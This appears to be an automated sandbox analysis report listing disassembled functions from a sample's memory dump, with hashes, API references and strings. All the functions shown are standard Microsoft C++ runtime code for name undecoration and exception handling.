Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 52110B7B240043C3D388C9BDD4B46B6A795EBC7325B28C376D0534F65AF123D1559600

Function 6E646B70 Relevance: 72.1, APIs: 11, Strings: 30, Instructions: 359
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

shared_ptr.LIBCMT ref: 6E646BE3
shared_ptr.LIBCMT ref: 6E646C2B
shared_ptr.LIBCMT ref: 6E646C4A
operator+.LIBVCRUNTIME ref: 6E646D78
DName::operator=.LIBVCRUNTIME ref: 6E646D8A
shared_ptr.LIBCMT ref: 6E646FCF
DName::operator+.LIBCMT ref: 6E647011
operator+.LIBVCRUNTIME ref: 6E647057

Strings

volatile, xrefs: 6E646E99
this , xrefs: 6E646F57, 6E646F75
char32_t, xrefs: 6E646F15
double, xrefs: 6E646C52
__int128, xrefs: 6E646DB1
bool, xrefs: 6E646DDC
__int16, xrefs: 6E646D39
volatile, xrefs: 6E646EB9
auto, xrefs: 6E646F2D
<unknown>, xrefs: 6E646EEA
unsigned , xrefs: 6E646FF0
__int8, xrefs: 6E646D45
H!dn, xrefs: 6E646F5E, 6E646F68
long, xrefs: 6E646C0D
__int64, xrefs: 6E646DC4
int, xrefs: 6E646BFD
signed , xrefs: 6E646CD8
UNKNOWN, xrefs: 6E646FBA
__w64 , xrefs: 6E646D66
__int32, xrefs: 6E646DD0
const, xrefs: 6E646E7B
char, xrefs: 6E646BCE
short, xrefs: 6E646BED
wchar_t, xrefs: 6E646F21
long , xrefs: 6E646C38
void, xrefs: 6E646C73
float, xrefs: 6E646C16
decltype(auto), xrefs: 6E646F39
char8_t, xrefs: 6E646EFD
char16_t, xrefs: 6E646F09

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID: volatile$<unknown>$H!dn$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 1464150960-1756225424
Opcode ID: 16fa97e41900f565729bf7b7531ba1bbd18cb960069a0c9e0470fb15af905c6b
Instruction ID: c1636fa5a845d2b789d80fe7ab4da0f5f7c848eb6273fe66349518a2e66e12ff
Opcode Fuzzy Hash: 16fa97e41900f565729bf7b7531ba1bbd18cb960069a0c9e0470fb15af905c6b
Instruction Fuzzy Hash: E5E157B2C1420ADFCB05DFE9C495BEEBBB9EB06704F10C55AD621A7280D7349649CF91

Function 6E64A3CA Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 297
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DName::operator+.LIBCMT ref: 6E64A4A0
UnDecorator::getSignedDimension.LIBCMT ref: 6E64A4AB
UnDecorator::getSignedDimension.LIBCMT ref: 6E64A597
UnDecorator::getSignedDimension.LIBCMT ref: 6E64A5B4
UnDecorator::getSignedDimension.LIBCMT ref: 6E64A5D1
DName::operator+.LIBCMT ref: 6E64A5E6
UnDecorator::getSignedDimension.LIBCMT ref: 6E64A600
atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000010,00000002,00000000,0000002C,00000000,0000007B,00000000,?,00000000), ref: 6E64A621
__telemetry_main_return_trigger.VCRUNTIME140(00000000), ref: 6E64A648
swprintf.LIBCMT ref: 6E64A67B
DName::operator+.LIBCMT ref: 6E64A6D6

Part of subcall function 6E646595: DName::DName.LIBVCRUNTIME ref: 6E6465F3

DName::DName.LIBVCRUNTIME ref: 6E64A74D

Strings

nullptr, xrefs: 6E64A716
`template-type-parameter-, xrefs: 6E64A6F2
lambda, xrefs: 6E64A736
`generic-class-parameter-, xrefs: 6E64A6E2
`generic-method-parameter-, xrefs: 6E64A6B2
NULL, xrefs: 6E64A45E

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$__telemetry_main_return_triggeratolswprintf
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 1551792257-2441609178
Opcode ID: 59f9367827095d483c9c37f846a29e66b70407da63fde63de6c43bb38e1e6e99
Instruction ID: 89571fb149712830458b329f5b7c4c5df94e6cf3a8c37258ec9aabcc5c1f434d
Opcode Fuzzy Hash: 59f9367827095d483c9c37f846a29e66b70407da63fde63de6c43bb38e1e6e99
Instruction Fuzzy Hash: BE91B772D4420AFADB04DFF5D998AEE7B7CAF06304F50C93AE111E6590FB349A048755

Function 6E6498A5 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 305
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DName::operator+.LIBCMT ref: 6E649910
DName::operator+.LIBCMT ref: 6E649A53

Part of subcall function 6E6455D8: shared_ptr.LIBCMT ref: 6E6455F4

DName::operator+.LIBCMT ref: 6E6499FE
DName::operator+.LIBCMT ref: 6E649A9F
DName::operator+.LIBCMT ref: 6E649AAE
DName::operator+.LIBCMT ref: 6E649BDA
DName::operator=.LIBVCRUNTIME ref: 6E649C1A
DName::DName.LIBVCRUNTIME ref: 6E649C24
DName::operator+.LIBCMT ref: 6E649C41
DName::operator+.LIBCMT ref: 6E649C4D

Part of subcall function 6E64B175: Replicator::operator[].LIBCMT ref: 6E64B1B2

Strings

`anonymous namespace', xrefs: 6E649B5F

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]shared_ptr
String ID: `anonymous namespace'
API String ID: 1043660730-3062148218
Opcode ID: 5b4ae8aaac1869e2e5b5ec9e475d06fc7d6629a436373e36b57ce050a0a1a13e
Instruction ID: 982afdbcc7f808ab72c84687a510fc48163778dd4cdc47bcb14e0bfc6e4563a2
Opcode Fuzzy Hash: 5b4ae8aaac1869e2e5b5ec9e475d06fc7d6629a436373e36b57ce050a0a1a13e
Instruction Fuzzy Hash: 3EC182B1984609DFDF14CFE4C954BEEBBF9BB0A308F00885EE145A7281EB759648CB54

Function 6E64B175 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 185
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Replicator::operator[].LIBCMT ref: 6E64B1B2

Strings

generic-type-, xrefs: 6E64B238
`generic-type-, xrefs: 6E64B24E
template-parameter-, xrefs: 6E64B211
`template-parameter-, xrefs: 6E64B223

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Replicator::operator[]
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3207858774
Opcode ID: 534971907b8bb75dfdcf14e64c8f089f343c7685a74b723bebe7d8257057a089
Instruction ID: 13fbda67e1395143c9e5bc6c8c208992b2c4cc895a278d6b0050c7308d9c361e
Opcode Fuzzy Hash: 534971907b8bb75dfdcf14e64c8f089f343c7685a74b723bebe7d8257057a089
Instruction Fuzzy Hash: 1761C271D00609DFDB01CFE6C850BEFBBB9AF1A314F00C81AD511A7294DB749949CB95

Function 6E6482EF Relevance: 19.8, APIs: 13, Instructions: 332
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DName::operator+.LIBCMT ref: 6E6483B8
DName::operator+.LIBCMT ref: 6E6483F5
DName::DName.LIBVCRUNTIME ref: 6E648409
DName::operator+.LIBCMT ref: 6E648418
DName::operator+.LIBCMT ref: 6E6484A6
DName::DName.LIBVCRUNTIME ref: 6E6484CE
DName::operator+.LIBCMT ref: 6E6484DC
DName::operator+.LIBCMT ref: 6E648516
DName::operator+.LIBCMT ref: 6E648557
UnDecorator::getReturnType.LIBCMT ref: 6E648587
operator+.LIBVCRUNTIME ref: 6E648689

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID:
API String ID: 2932655852-0
Opcode ID: 923875f4f67fb7a05b2eb7ace0138bc9e9c27780b0919c7653e7ad5ae131c5e4
Instruction ID: 060414c9f484c5211ed65b8c000a34e7d0e45780e8ca71af0cc9be3f7de4e065
Opcode Fuzzy Hash: 923875f4f67fb7a05b2eb7ace0138bc9e9c27780b0919c7653e7ad5ae131c5e4
Instruction Fuzzy Hash: 53C17371900209EFDF48DFE8D890AEE7BB9EB1A314F00855EF515A72A1DB309A45CB94

Function 6E647D06 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DName::operator+.LIBCMT ref: 6E647D39

Part of subcall function 6E6455B6: DName::operator+=.LIBCMT ref: 6E6455CC

Strings

enum , xrefs: 6E647E26
coclass , xrefs: 6E647E0A
union , xrefs: 6E647E73
struct , xrefs: 6E647E63
cointerface , xrefs: 6E647DFA
`unknown ecsu', xrefs: 6E647D1B
class , xrefs: 6E647E5A

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name::operator+Name::operator+=
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 382699925-1464470183
Opcode ID: 32347fd6c0a255edc025101d52fa65bd06a8e03e438e3bb743b4d04edc6df676
Instruction ID: 6bd7461e97460b3312a5befed9479608482dfce718da92b67d3cdc5b66235047
Opcode Fuzzy Hash: 32347fd6c0a255edc025101d52fa65bd06a8e03e438e3bb743b4d04edc6df676
Instruction Fuzzy Hash: 014109B1D1420ADECF04DFE9C595AEEBFB9EB46304F10851AD615A7380D770AA89CB90

Function 6E643108 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 302
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 6E643223
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0(6E6510A4), ref: 6E64323E
___TypeMatch.LIBVCRUNTIME ref: 6E643331
__DestructExceptionObject.VCRUNTIME140(?,00000001), ref: 6E6433B5
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6E64343C
__DestructExceptionObject.VCRUNTIME140(?,00000001,6E6510A4), ref: 6E64344A
_CxxThrowException.VCRUNTIME140(?,6E64FBC4,6E6510A4), ref: 6E643462

Strings

csm, xrefs: 6E6431B2
csm, xrefs: 6E643145
csm, xrefs: 6E64325A

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Exception$DestructObject$MatchThrowTypeabortterminatetype_info::operator==
String ID: csm$csm$csm
API String ID: 2807342543-393685449
Opcode ID: 4a3187a924f794dbdaa7e03ad0217a7059136f1a624ab04da801b925c05c197d
Instruction ID: 4be4be3db1454bfb33acc5811a80f593da534dc92deb112797456d15535d1fea
Opcode Fuzzy Hash: 4a3187a924f794dbdaa7e03ad0217a7059136f1a624ab04da801b925c05c197d
Instruction Fuzzy Hash: D1B1787198021AEFCF46CFE4C8889DEBBB9FF16314F10855AE8216B205D731DA51CB96

Function 6E649291 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 178
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

shared_ptr.LIBCMT ref: 6E6492FC
operator+.LIBVCRUNTIME ref: 6E64934C
shared_ptr.LIBCMT ref: 6E649418
DName::DName.LIBVCRUNTIME ref: 6E649448
operator+.LIBVCRUNTIME ref: 6E6494A9

Strings

std::nullptr_t, xrefs: 6E6494BA
volatile , xrefs: 6E6492DE, 6E6493FA
volatile, xrefs: 6E6492EE, 6E64940A
std::nullptr_t , xrefs: 6E649497

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: operator+shared_ptr$NameName::
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2894330373-757766384
Opcode ID: 319fb9987d455e9e3eec8c198710adafffe21842f7e69c5d417b8fd0fd9816d3
Instruction ID: 64e54418bc3f98515e55d48d91679c8efbe62c9f47ca5679d0069b98a978034d
Opcode Fuzzy Hash: 319fb9987d455e9e3eec8c198710adafffe21842f7e69c5d417b8fd0fd9816d3
Instruction Fuzzy Hash: A8616D7588450BEECF01CFE9C554AEE7BB9FB17308F04C65AE4249B250D7329649CB45

Function 6E6444F0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PMDtoOffset.LIBCMT ref: 6E644582

Strings

Bad read pointer - no RTTI data!, xrefs: 6E64462A
Bad dynamic_cast!, xrefs: 6E6445C4
Attempted a typeid of nullptr pointer!, xrefs: 6E64465E

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Offset
String ID: Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
API String ID: 1587990502-2941716148
Opcode ID: 12ea6ab5822fb8c46feec20a8b510caa4fee812d59a15c74c3a38422c3b31790
Instruction ID: a0f6ef8fe0bf68afcdafe3ced6f6fb120bd03a21131327654d4c2c491b2f9ba8
Opcode Fuzzy Hash: 12ea6ab5822fb8c46feec20a8b510caa4fee812d59a15c74c3a38422c3b31790
Instruction Fuzzy Hash: 2C31CA72A04205DFDF08CFE8D946EDE77B8EF85724F20C559E910D7280DBB1E9068654

Function 6E6494DF Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBVCRUNTIME ref: 6E649542
DName::operator+.LIBCMT ref: 6E649600
operator+.LIBVCRUNTIME ref: 6E64963F

Strings

void, xrefs: 6E64950D
std::nullptr_t, xrefs: 6E649586
void , xrefs: 6E64952C
cli::pin_ptr<, xrefs: 6E649616
cli::array<, xrefs: 6E6495DC
std::nullptr_t , xrefs: 6E649596

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: operator+$Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 1198235884-2239912363
Opcode ID: 2373a24ea8e9e2a5e66bcc231908c7ee2ee2dae9ec65944fb2acf3293295ef2d
Instruction ID: 8e85487db20ba5662ce6716f979a675da3b2a66d045f6460f76fcda060df5812
Opcode Fuzzy Hash: 2373a24ea8e9e2a5e66bcc231908c7ee2ee2dae9ec65944fb2acf3293295ef2d
Instruction Fuzzy Hash: 634158B094460AEFEF09CFD4C955BEE7BF5AB02308F10C84AE6149B242D7759688CF44

Function 6E647EB0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 6E647F21
DName::operator+.LIBCMT ref: 6E647F69
DName::DName.LIBVCRUNTIME ref: 6E647F99

Strings

char , xrefs: 6E647EE3
int , xrefs: 6E647EFC
short , xrefs: 6E647EEC
unsigned , xrefs: 6E647F48
long , xrefs: 6E647F0C

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: NameName::Name::operator+shared_ptr
String ID: char $int $long $short $unsigned
API String ID: 3919194733-3894466517
Opcode ID: 6c7df1c4dc68714f7cf167d33343f1e9b2f9e4eeb36831d3cfca572042edbf57
Instruction ID: b8f88b5331ca6adc48f2251a3da987bdc5c9e07b0b8819c7ef440fedcbdbe53d
Opcode Fuzzy Hash: 6c7df1c4dc68714f7cf167d33343f1e9b2f9e4eeb36831d3cfca572042edbf57
Instruction Fuzzy Hash: 852117B1900609EFCB44CFE8C4507EEBBB4FB06309F00D989D521A7380D771A649CB80

Function 6E64B021 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 6E64B065
DName::operator+.LIBCMT ref: 6E64B071

Part of subcall function 6E6455D8: shared_ptr.LIBCMT ref: 6E6455F4

DName::operator+=.LIBCMT ref: 6E64B12F

Part of subcall function 6E6498A5: DName::operator+.LIBCMT ref: 6E649910
Part of subcall function 6E6498A5: DName::operator+.LIBCMT ref: 6E649BDA

Part of subcall function 6E645503: DName::operator+.LIBCMT ref: 6E645524

DName::operator+.LIBCMT ref: 6E64B0EC

Part of subcall function 6E645630: DName::operator=.LIBVCRUNTIME ref: 6E645651

DName::DName.LIBVCRUNTIME ref: 6E64B153
DName::operator+.LIBCMT ref: 6E64B15F

Strings

{for , xrefs: 6E64B098

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID: {for
API String ID: 2795783184-864106941
Opcode ID: 7160b3dc6960409f382ad9ebd52dce2fd8d9df30c47709fd2e0c47aaf71fab38
Instruction ID: a54680bd6581c30d1570faba6220c36a40564e0dda7c0ecda57f37b4c134114b
Opcode Fuzzy Hash: 7160b3dc6960409f382ad9ebd52dce2fd8d9df30c47709fd2e0c47aaf71fab38
Instruction Fuzzy Hash: B54192B0A00644EFDF05DFE4C854BEE7BF9AB0B304F408859E196D7294D7345945C759

Function 6E64A796 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSignedDimension.LIBCMT ref: 6E64A7E7
atol.API-MS-WIN-CRT-CONVERT-L1-1-0(6E64A18F,6E64A18F,00000010,?,00000000,00000000,?,?,?,?,?,?,6E64A18F,?,?,00000000), ref: 6E64A825
__telemetry_main_return_trigger.VCRUNTIME140(00000000,?,?,?,?,?,6E64A18F,?,?,00000000,00000000), ref: 6E64A82F

Strings

void, xrefs: 6E64A7B7
`template-parameter, xrefs: 6E64A852

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Decorator::getDimensionSigned__telemetry_main_return_triggeratol
String ID: `template-parameter$void
API String ID: 3224638273-4057429177
Opcode ID: d78e9e26269258328c35f662488fd96ff53569d0631f812fc80d6fb24601e2e6
Instruction ID: 4645b05bdacb1a7bfd345b442bc18adfd5e587623615916a75051a8170529c11
Opcode Fuzzy Hash: d78e9e26269258328c35f662488fd96ff53569d0631f812fc80d6fb24601e2e6
Instruction Fuzzy Hash: 93316172A00609EFDF04DFE5D954BEFB7BDEB09314F10882AD511B3280EB746A098B65

Function 6E64670A Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6E6465FD: Replicator::operator[].LIBCMT ref: 6E646669

DName::DName.LIBVCRUNTIME ref: 6E646756
DName::operator+.LIBCMT ref: 6E64679C

Strings

void, xrefs: 6E6467EE
,<ellipsis>, xrefs: 6E646787
<ellipsis>, xrefs: 6E6467DD
,..., xrefs: 6E646777
..., xrefs: 6E6467CD

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: NameName::Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 583996491-2211150622
Opcode ID: 51c240311eb4d120d6206325d2a6461ca3a9cba999867e0674a781ad9e764c4c
Instruction ID: 298fc9724432b5bab18aa321d5c15130acf4e50e43a47cf606c062bb2541b0e7
Opcode Fuzzy Hash: 51c240311eb4d120d6206325d2a6461ca3a9cba999867e0674a781ad9e764c4c
Instruction Fuzzy Hash: C43134B4A5060ADFDF44CFE9C460BEE7BB4BB06348F00CA4AC525DB251CB349649CB85

Function 6E644AF8 Relevance: 12.1, APIs: 8, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,6E644AED,6E642CB8), ref: 6E644B06
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E644B14
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E644B2D
SetLastError.KERNEL32(00000000,?,6E644AED,6E642CB8), ref: 6E644B81

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f413000e9929a8c963e00c08deab63b9f3dd8f9a61f04016a467a2b3767f1ed8
Instruction ID: 45736ae7f6df60325ac3083fb0c9207be6d517de57c7cc25d59c536f0f7fc853
Opcode Fuzzy Hash: f413000e9929a8c963e00c08deab63b9f3dd8f9a61f04016a467a2b3767f1ed8
Instruction Fuzzy Hash: 7E01B53238DF22DEEB446EF65C86B573B68EB033F63204229E510D22D4FF914806C154

Function 6E646924 Relevance: 10.7, APIs: 7, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 6E6469B2
DName::operator+.LIBCMT ref: 6E646A05

Part of subcall function 6E6455D8: shared_ptr.LIBCMT ref: 6E6455F4

Part of subcall function 6E645503: DName::operator+.LIBCMT ref: 6E645524

DName::operator+.LIBCMT ref: 6E6469F6
DName::operator+.LIBCMT ref: 6E646A56
DName::operator+.LIBCMT ref: 6E646A63
DName::operator+.LIBCMT ref: 6E646AAA
DName::operator+.LIBCMT ref: 6E646AB7

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name::operator+$shared_ptr
String ID:
API String ID: 1037112749-0
Opcode ID: b71969def080a16910ca689d539ac928102f3c1a3db3dc134a1ff6067b4cfe8a
